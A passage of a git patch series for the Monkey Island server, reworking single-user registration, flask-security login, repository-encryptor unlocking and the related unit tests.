self._authentication_service.needs_registration(): + return make_response( + {"error": "User is already registered"}, HTTPStatus.BAD_REQUEST + ) + username, password = get_username_password_from_request(request) response: ResponseValue = register() diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index e921ccc5e1f..2e6be0f9874 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -21,6 +21,13 @@ def inner(request_body): return inner +def test_register__already_registered(monkeypatch, make_auth_request, mock_authentication_service): + mock_authentication_service.needs_registration.return_value = False + + response = make_auth_request(TEST_REQUEST) + assert response.status_code == 400 + + def test_register_with_empty_credentials( monkeypatch, make_auth_request, mock_authentication_service ): From b35e10a9f3c03bde8f75b645d02427d5e5892e11 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 14:37:46 +0100 Subject: [PATCH 0421/1338] Island: Add TODO to rework AuthenticationService.authenticat --- monkey/monkey_island/cc/services/authentication_service.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index adf4f17c2e6..96341c33583 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -45,6 +45,7 @@ def reset_island(self, username: str, password: str): self._reset_repository_encryptor(username, password) def authenticate(self, username: str, password: str) -> User: + # TODO: Fix while doing login registered_user = User.objects.filter(username=username).first() if registered_user is None or not registered_user.verify_and_update_password(password): From 6de22494f7adeb407949ab467f6a9d312cef2b42 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 15:44:06 +0100 Subject: [PATCH 0422/1338] Island: Allow only a single user to be registered in CustomConfirmRegisterForm --- monkey/monkey_island/cc/app.py | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index fa4fadd1ebb..539eccdba68 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -6,7 +6,7 @@ from flask_mongoengine import MongoEngine from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security from werkzeug.exceptions import NotFound -from wtforms import StringField +from wtforms import StringField, ValidationError from common import DIContainer from monkey_island.cc.models import Role, User @@ -88,13 +88,21 @@ def setup_authentication(app, data_dir): # The database object needs to be created after we configure the flask application db = MongoEngine(app) + user_datastore = MongoEngineUserDatastore(db, User, Role) + class CustomConfirmRegisterForm(ConfirmRegisterForm): - # Flask-Security-Too by default expects email field in the User model - # so we remove validators from the email field, because we expected username - # instead of email in the registration request - email = StringField("Email", default="dummy@dummy.com") + # Validator that check that only single user is registered + def validate_no_user_exists_already(_, field): + if user_datastore.find_user(): + raise ValidationError( + "A user already exists. Only a single user can be registered." + ) - user_datastore = MongoEngineUserDatastore(db, User, Role) + # Email field is required by ConfirmRegisterForm + # Added custom validator on email because we have to override email validators anyway + email = StringField( + "Email", default="dummy@dummy.com", validators=[validate_no_user_exists_already] + ) app.security = Security(app, user_datastore, confirm_register_form=CustomConfirmRegisterForm) From 4fe857c1bba14a8ef7b5b3e1670bd087766ca942 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 15:45:13 +0100 Subject: [PATCH 0423/1338] Island: Split reseting repository encryptor and island data --- .../cc/services/authentication_service.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 96341c33583..c7d1bd1797d 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -29,12 +29,9 @@ def needs_registration(self) -> bool: """ return not User.objects.first() - def reset_island(self, username: str, password: str): + def reset_island_data(self): """ - Resets the encryptor and database - - :param username: Username to reset encryptor - :param password: Password to reset encryptor + Resets the island """ self._island_event_queue.publish(IslandEventTopic.CLEAR_SIMULATION_DATA) self._island_event_queue.publish(IslandEventTopic.RESET_AGENT_CONFIGURATION) @@ -42,8 +39,6 @@ def reset_island(self, username: str, password: str): topic=IslandEventTopic.SET_ISLAND_MODE, mode=IslandMode.UNSET ) - self._reset_repository_encryptor(username, password) - def authenticate(self, username: str, password: str) -> User: # TODO: Fix while doing login registered_user = User.objects.filter(username=username).first() @@ -55,13 +50,13 @@ def authenticate(self, username: str, password: str) -> User: return registered_user - def _unlock_repository_encryptor(self, username: str, password: str): + def reset_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) + self._repository_encryptor.reset_key() self._repository_encryptor.unlock(secret.encode()) - def _reset_repository_encryptor(self, username: str, password: str): + def _unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) - self._repository_encryptor.reset_key() self._repository_encryptor.unlock(secret.encode()) From c1faef273ef1db646280d1e5611fa34e22676348 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 15:46:28 +0100 Subject: [PATCH 0424/1338] Island: Remove user limitation from Register endpoint --- .../cc/resources/auth/register.py | 19 ++++++------------- .../cc/resources/auth/test_register.py | 17 +++++------------ 2 files changed, 11 insertions(+), 25 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index be2f4626165..829ac22e33e 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -27,18 +27,11 @@ def post(self): Registers a new user using flask security register """ - try: - if not self._authentication_service.needs_registration(): - return make_response( - {"error": "User is already registered"}, HTTPStatus.BAD_REQUEST - ) + username, password = get_username_password_from_request(request) - username, password = get_username_password_from_request(request) + response: ResponseValue = register() + if response.status_code == HTTPStatus.OK: + self._authentication_service.reset_island_data() + self._authentication_service.reset_repository_encryptor(username, password) - response: ResponseValue = register() - if response.status_code == HTTPStatus.OK: - self._authentication_service.reset_island(username, password) - - return make_response(response) - except Exception as err: - return make_response({"error": str(err)}, HTTPStatus.INTERNAL_SERVER_ERROR) + return make_response(response) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index 2e6be0f9874..7510adc1b40 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -21,16 +21,7 @@ def inner(request_body): return inner -def test_register__already_registered(monkeypatch, make_auth_request, mock_authentication_service): - mock_authentication_service.needs_registration.return_value = False - - response = make_auth_request(TEST_REQUEST) - assert response.status_code == 400 - - -def test_register_with_empty_credentials( - monkeypatch, make_auth_request, mock_authentication_service -): +def test_register_failed(monkeypatch, make_auth_request, mock_authentication_service): monkeypatch.setattr( "monkey_island.cc.resources.auth.register.register", lambda: Response( @@ -40,6 +31,7 @@ def test_register_with_empty_credentials( response = make_auth_request("{}") mock_authentication_service.reset_island.assert_not_called() + mock_authentication_service.reset_repository_encryptor.assert_not_called() assert response.status_code == 400 @@ -54,7 +46,8 @@ def test_register_successful(monkeypatch, make_auth_request, mock_authentication response = make_auth_request(TEST_REQUEST) assert response.status_code == 200 - mock_authentication_service.reset_island.assert_called_with(USERNAME, PASSWORD) + mock_authentication_service.reset_island_data.assert_called_once() + mock_authentication_service.reset_repository_encryptor.assert_called_once() def test_register_error(monkeypatch, make_auth_request, mock_authentication_service): @@ -63,7 +56,7 @@ def test_register_error(monkeypatch, make_auth_request, mock_authentication_serv lambda: Response(status=200), ) - mock_authentication_service.reset_island = MagicMock(side_effect=Exception()) + mock_authentication_service.reset_island_data = MagicMock(side_effect=Exception()) response = make_auth_request(TEST_REQUEST) From d2b789b63ff1b8b45d2d6787e24019e50a616bca Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 15:50:09 +0100 Subject: [PATCH 0425/1338] UT: Fix AuthenticationService tests --- .../monkey_island/cc/services/test_authentication_service.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index adc1bcbd82a..147f6b56829 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -53,7 +53,7 @@ def test_reset_island__unlock_encryptor_on_register( ): a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - a_s.reset_island(USERNAME, PASSWORD) + a_s.reset_repository_encryptor(USERNAME, PASSWORD) mock_repository_encryptor.reset_key.assert_called_once() mock_repository_encryptor.unlock.assert_called_once() @@ -65,7 +65,7 @@ def test_reset_island__publish_to_event_topics( ): a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - a_s.reset_island(USERNAME, PASSWORD) + a_s.reset_island_data() assert mock_island_event_queue.publish.call_count == 3 mock_island_event_queue.publish.assert_has_calls( From fcd8683e45b3ce0553fcbf95b9e445d5e30fbbf6 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 1 Mar 2023 19:16:05 +0200 Subject: [PATCH 0426/1338] Island: Improve style and comments related to registration --- monkey/monkey_island/cc/app.py | 20 ++++++++++--------- .../cc/resources/auth/register.py | 3 +-- 2 files changed, 12 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 539eccdba68..62403ade31b 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -81,25 +81,27 @@ def setup_authentication(app, data_dir): app.config["SECURITY_USERNAME_ENABLE"] = True app.config["SECURITY_USERNAME_REQUIRED"] = True app.config["SECURITY_REGISTERABLE"] = True + app.config["SECURITY_SEND_REGISTER_EMAIL"] = False + # Ignore CSRF, because it's irrelevant for javascript applications app.config["WTF_CSRF_CHECK_DEFAULT"] = False app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True - app.config["SECURITY_SEND_REGISTER_EMAIL"] = False # The database object needs to be created after we configure the flask application db = MongoEngine(app) user_datastore = MongoEngineUserDatastore(db, User, Role) + # Only one user can be registered in the Island, so we need a custom validator + def validate_no_user_exists_already(_, field): + if user_datastore.find_user(): + raise ValidationError("A user already exists. Only a single user can be registered.") + class CustomConfirmRegisterForm(ConfirmRegisterForm): - # Validator that check that only single user is registered - def validate_no_user_exists_already(_, field): - if user_datastore.find_user(): - raise ValidationError( - "A user already exists. Only a single user can be registered." - ) - # Email field is required by ConfirmRegisterForm - # Added custom validator on email because we have to override email validators anyway + # We don't use the email, but the field is required by ConfirmRegisterForm. + # Email validators need to be overriden, otherwise an error about invalid email is raised. + # Added custom validator to the email field because we have to override + # email validators anyway. email = StringField( "Email", default="dummy@dummy.com", validators=[validate_no_user_exists_already] ) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 829ac22e33e..f3e6b0ef0db 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -27,11 +27,10 @@ def post(self): Registers a new user using flask security register """ - username, password = get_username_password_from_request(request) - response: ResponseValue = register() if response.status_code == HTTPStatus.OK: self._authentication_service.reset_island_data() + username, password = get_username_password_from_request(request) self._authentication_service.reset_repository_encryptor(username, password) return make_response(response) From baff4aa3b00259eb37c3934b4959a8784b8ea580 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 19:26:18 +0100 Subject: [PATCH 0427/1338] UT: Remove authentication service tests --- .../cc/resources/auth/test_register.py | 2 -- .../services/test_authentication_service.py | 29 ------------------- 2 files changed, 31 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index 7510adc1b40..ba86861d30b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -1,4 +1,3 @@ -import json from unittest.mock import MagicMock import pytest @@ -60,5 +59,4 @@ def test_register_error(monkeypatch, make_auth_request, mock_authentication_serv response = make_auth_request(TEST_REQUEST) - assert "csrf_token" not in json.loads(response.data) assert response.status_code == 500 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 147f6b56829..91cbc8edc49 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -77,35 +77,6 @@ def test_reset_island__publish_to_event_topics( ) -# @pytest.mark.slow -# @pytest.mark.parametrize( -# ("username", "password"), [("wrong_username", PASSWORD), (USERNAME, "wrong_password")] -# ) -# def test_authenticate__failed_wrong_credentials( -# mock_flask_app, tmp_path, username, password, mock_repository_encryptor, -# mock_island_event_queue -# ): -# -# a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) -# a_s.register_new_user(USERNAME, PASSWORD) -# with pytest.raises(IncorrectCredentialsError): -# a_s.authenticate(username, password) -# -# mock_repository_encryptor.unlock.call_count == 2 -# -# -# @pytest.mark.slow -# def test_authenticate__success( -# mock_flask_app, tmp_path, mock_repository_encryptor, mock_island_event_queue -# ): -# a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) -# -# # If authentication fails, this function will raise an exception and the test will fail. -# a_s.register_new_user(USERNAME, PASSWORD) -# a_s.authenticate(USERNAME, PASSWORD) -# mock_repository_encryptor.unlock.call_count == 2 - - def test_authenticate__failed_no_registered_user( mock_flask_app, tmp_path, mock_repository_encryptor ): From 1e82214965b0ab5422430b7391f56676494a90f9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 1 Mar 2023 19:34:30 +0100 Subject: [PATCH 0428/1338] UT: Remove mocked reset_island_data object --- .../unit_tests/monkey_island/cc/resources/auth/conftest.py | 1 - .../unit_tests/monkey_island/cc/resources/auth/test_register.py | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py index 3b2f7e73f52..3cb37c638ca 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py @@ -10,7 +10,6 @@ def mock_authentication_service(): mock_service = MagicMock(spec=AuthenticationService) mock_service.authenticate = MagicMock() - mock_service.reset_island = MagicMock() return mock_service diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index ba86861d30b..aaa668b94dc 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -29,7 +29,7 @@ def test_register_failed(monkeypatch, make_auth_request, mock_authentication_ser ) response = make_auth_request("{}") - mock_authentication_service.reset_island.assert_not_called() + mock_authentication_service.reset_island_data.assert_not_called() mock_authentication_service.reset_repository_encryptor.assert_not_called() assert response.status_code == 400 From 263aed91557ee80c2b797da114ee3f8fcd08f745 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 1 Mar 2023 21:20:45 +0000 Subject: [PATCH 0429/1338] Island: Implement login using flask-security --- monkey/monkey_island/cc/app.py | 13 +++++- .../cc/resources/auth/authenticate.py | 19 ++++---- .../cc/services/authentication_service.py | 14 +----- .../cc/resources/auth/conftest.py | 1 - .../cc/resources/auth/test_authenticate.py | 45 +++++++++++-------- .../services/test_authentication_service.py | 12 ----- 6 files changed, 47 insertions(+), 57 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 62403ade31b..6abfa2929bb 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -3,8 +3,9 @@ import flask_restful from flask import Flask, Response, send_from_directory +from flask_login import LoginManager from flask_mongoengine import MongoEngine -from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security +from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, LoginForm from werkzeug.exceptions import NotFound from wtforms import StringField, ValidationError @@ -106,7 +107,15 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): "Email", default="dummy@dummy.com", validators=[validate_no_user_exists_already] ) - app.security = Security(app, user_datastore, confirm_register_form=CustomConfirmRegisterForm) + login_manager = LoginManager() + login_manager.init_app(app) + + app.security = Security( + app, + user_datastore, + confirm_register_form=CustomConfirmRegisterForm, + login_form=LoginForm, + ) def init_app_config(app, mongo_url, data_dir: Path): diff --git a/monkey/monkey_island/cc/resources/auth/authenticate.py b/monkey/monkey_island/cc/resources/auth/authenticate.py index b768cbd10b5..36934ad0dd8 100644 --- a/monkey/monkey_island/cc/resources/auth/authenticate.py +++ b/monkey/monkey_island/cc/resources/auth/authenticate.py @@ -2,9 +2,10 @@ from http import HTTPStatus from flask import jsonify, make_response, request -from flask_security import current_user, login_user +from flask_security import current_user +from flask_security.views import login +from flask.typing import ResponseValue -from common.utils.exceptions import IncorrectCredentialsError from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request from monkey_island.cc.services import AuthenticationService @@ -37,13 +38,9 @@ def post(self): :raises IncorrectCredentialsError: If credentials are invalid """ - username, password = get_username_password_from_request(request) + response: ResponseValue = login() + if response.status_code == HTTPStatus.OK: + username, password = get_username_password_from_request(request) + self._authentication_service.unlock_repository_encryptor(username, password) - try: - user = self._authentication_service.authenticate(username, password) - except IncorrectCredentialsError: - return make_response({"error": "Invalid credentials"}, HTTPStatus.UNAUTHORIZED) - - login_user(user) - - return jsonify({"login": True}) + return make_response(response) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index c7d1bd1797d..d1e09dbbb74 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -1,6 +1,5 @@ from pathlib import Path -from common.utils.exceptions import IncorrectCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -39,23 +38,12 @@ def reset_island_data(self): topic=IslandEventTopic.SET_ISLAND_MODE, mode=IslandMode.UNSET ) - def authenticate(self, username: str, password: str) -> User: - # TODO: Fix while doing login - registered_user = User.objects.filter(username=username).first() - - if registered_user is None or not registered_user.verify_and_update_password(password): - raise IncorrectCredentialsError() - - self._unlock_repository_encryptor(username, password) - - return registered_user - def reset_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.reset_key() self._repository_encryptor.unlock(secret.encode()) - def _unlock_repository_encryptor(self, username: str, password: str): + def unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.unlock(secret.encode()) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py index 3cb37c638ca..2010adae784 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/conftest.py @@ -9,7 +9,6 @@ @pytest.fixture def mock_authentication_service(): mock_service = MagicMock(spec=AuthenticationService) - mock_service.authenticate = MagicMock() return mock_service diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py index f54115b66a6..fd895dc5843 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py @@ -1,10 +1,8 @@ -import re +from flask import Response from unittest.mock import MagicMock import pytest -from common.utils.exceptions import IncorrectCredentialsError -from monkey_island.cc.models import User from monkey_island.cc.resources.auth import Authenticate USERNAME = "test_user" @@ -22,41 +20,52 @@ def inner(request_body): return inner -def test_credential_parsing(make_auth_request, mock_authentication_service): +def test_credential_parsing(make_auth_request, mock_authentication_service, monkeypatch): + monkeypatch.setattr( + "monkey_island.cc.resources.auth.authenticate.login", + lambda: Response( + status=200, + ), + ) + make_auth_request(TEST_REQUEST) - mock_authentication_service.authenticate.assert_called_with(USERNAME, PASSWORD) + mock_authentication_service.unlock_repository_encryptor.assert_called_with(USERNAME, PASSWORD) def test_empty_credentials(make_auth_request, mock_authentication_service): make_auth_request("{}") - mock_authentication_service.authenticate.assert_called_with("", "") + mock_authentication_service.unlock_repository_encryptor.assert_not_called() -def test_authentication_successful(make_auth_request, mock_authentication_service): - mock_authentication_service.authenticate = MagicMock( - return_value=User(username="test", password="test") +def test_authentication_successful(make_auth_request, monkeypatch): + monkeypatch.setattr( + "monkey_island.cc.resources.auth.authenticate.login", + lambda: Response( + status=200, + ), ) response = make_auth_request(TEST_REQUEST) assert response.status_code == 200 - assert re.match( - r"^[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=]+\.[a-zA-Z0-9+/=\-_]+$", response.json["csrf_token"] - ) -def test_authentication_failure(make_auth_request, mock_authentication_service): - mock_authentication_service.authenticate = MagicMock(side_effect=IncorrectCredentialsError()) +def test_authentication_failure(make_auth_request, mock_authentication_service, monkeypatch): + monkeypatch.setattr( + "monkey_island.cc.resources.auth.authenticate.login", + lambda: Response( + status=400, + ), + ) response = make_auth_request(TEST_REQUEST) - assert "access_token" not in response.json - assert response.status_code == 401 - assert response.json["error"] == "Invalid credentials" + assert response.status_code == 400 + mock_authentication_service.unlock_repository_encryptor.assert_not_called() def test_authentication_error(make_auth_request, mock_authentication_service): - mock_authentication_service.authenticate = MagicMock(side_effect=Exception()) + mock_authentication_service.unlock_repository_encryptor = MagicMock(side_effect=Exception()) response = make_auth_request(TEST_REQUEST) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 91cbc8edc49..979713c1fd1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -2,7 +2,6 @@ import pytest -from common.utils.exceptions import IncorrectCredentialsError from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode, User from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -75,14 +74,3 @@ def test_reset_island__publish_to_event_topics( call(topic=IslandEventTopic.SET_ISLAND_MODE, mode=IslandMode.UNSET), ] ) - - -def test_authenticate__failed_no_registered_user( - mock_flask_app, tmp_path, mock_repository_encryptor -): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - - with pytest.raises(IncorrectCredentialsError): - a_s.authenticate(USERNAME, PASSWORD) - - mock_repository_encryptor.unlock.assert_not_called() From 81694b3f2ec1b0a1074d2cb7ebab409078531fc0 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 2 Mar 2023 10:34:11 +0200 Subject: [PATCH 0430/1338] Island: Remove loginManager as it's not needed --- monkey/monkey_island/cc/app.py | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 6abfa2929bb..e80f8be0567 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -3,9 +3,8 @@ import flask_restful from flask import Flask, Response, send_from_directory -from flask_login import LoginManager from flask_mongoengine import MongoEngine -from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, LoginForm +from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security from werkzeug.exceptions import NotFound from wtforms import StringField, ValidationError @@ -107,14 +106,10 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): "Email", default="dummy@dummy.com", validators=[validate_no_user_exists_already] ) - login_manager = LoginManager() - login_manager.init_app(app) - app.security = Security( app, user_datastore, confirm_register_form=CustomConfirmRegisterForm, - login_form=LoginForm, ) From 300efeb774f59aff5b875875952845ccf861f8f6 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 2 Mar 2023 12:09:25 +0200 Subject: [PATCH 0431/1338] Island: Remove debugging login endpoint --- monkey/monkey_island/cc/resources/auth/authenticate.py | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/authenticate.py b/monkey/monkey_island/cc/resources/auth/authenticate.py index 36934ad0dd8..010f8dc436c 100644 --- a/monkey/monkey_island/cc/resources/auth/authenticate.py +++ b/monkey/monkey_island/cc/resources/auth/authenticate.py @@ -1,10 +1,9 @@ import logging from http import HTTPStatus -from flask import jsonify, make_response, request -from flask_security import current_user -from flask_security.views import login +from flask import make_response, request from flask.typing import ResponseValue +from flask_security.views import login from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.resources.auth.credential_utils import get_username_password_from_request @@ -23,10 +22,6 @@ class Authenticate(AbstractResource): def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service - # TODO: Added for debugging. Remove before closing #2157. - def get(self): - return jsonify({"authenticated": current_user.is_authenticated}) - def post(self): """ Authenticates a user From 91cfb9f105897c68e82120ad234fca30143254f4 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 2 Mar 2023 12:27:08 +0200 Subject: [PATCH 0432/1338] Island, UI: Rename authenticate to login --- monkey/monkey_island/cc/app.py | 4 +-- .../cc/resources/auth/__init__.py | 2 +- .../auth/{authenticate.py => login.py} | 4 +-- .../cc/ui/src/services/AuthService.js | 4 +-- .../{test_authenticate.py => test_login.py} | 34 +++++++++---------- .../cc/resources/auth/test_register.py | 14 ++++---- 6 files changed, 31 insertions(+), 31 deletions(-) rename monkey/monkey_island/cc/resources/auth/{authenticate.py => login.py} (94%) rename monkey/tests/unit_tests/monkey_island/cc/resources/auth/{test_authenticate.py => test_login.py} (55%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index e80f8be0567..66d73350d4a 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -30,7 +30,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.resources.auth import Authenticate, Register, RegistrationStatus +from monkey_island.cc.resources.auth import Login, Register, RegistrationStatus from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -146,7 +146,7 @@ def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Root) api.add_resource(Register) api.add_resource(RegistrationStatus) - api.add_resource(Authenticate) + api.add_resource(Login) api.add_resource(Agents) api.add_resource(LocalRun) diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index 2ec750c49a3..5bad7abceeb 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1,3 +1,3 @@ -from .authenticate import Authenticate +from .login import Login from .registration_status import RegistrationStatus from .register import Register diff --git a/monkey/monkey_island/cc/resources/auth/authenticate.py b/monkey/monkey_island/cc/resources/auth/login.py similarity index 94% rename from monkey/monkey_island/cc/resources/auth/authenticate.py rename to monkey/monkey_island/cc/resources/auth/login.py index 010f8dc436c..cb23ef54d54 100644 --- a/monkey/monkey_island/cc/resources/auth/authenticate.py +++ b/monkey/monkey_island/cc/resources/auth/login.py @@ -12,12 +12,12 @@ logger = logging.getLogger(__name__) -class Authenticate(AbstractResource): +class Login(AbstractResource): """ A resource for user authentication """ - urls = ["/api/authenticate"] + urls = ["/api/login"] def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 202d204a657..c9ca5f1c479 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -2,7 +2,7 @@ import decode from 'jwt-decode'; export default class AuthService { SECONDS_BEFORE_JWT_EXPIRES = 20; - AUTHENTICATION_API_ENDPOINT = '/api/authenticate'; + LOGIN_ENDPOINT = '/api/login'; REGISTRATION_API_ENDPOINT = '/api/register'; REGISTRATION_STATUS_API_ENDPOINT = '/api/registration-status'; @@ -21,7 +21,7 @@ export default class AuthService { }; _login = (username, password) => { - return this._authFetch(this.AUTHENTICATION_API_ENDPOINT, { + return this._authFetch(this.LOGIN_ENDPOINT, { method: 'POST', body: JSON.stringify({ username, diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py similarity index 55% rename from monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_authenticate.py rename to monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_login.py index fd895dc5843..4c86dd03573 100644 --- 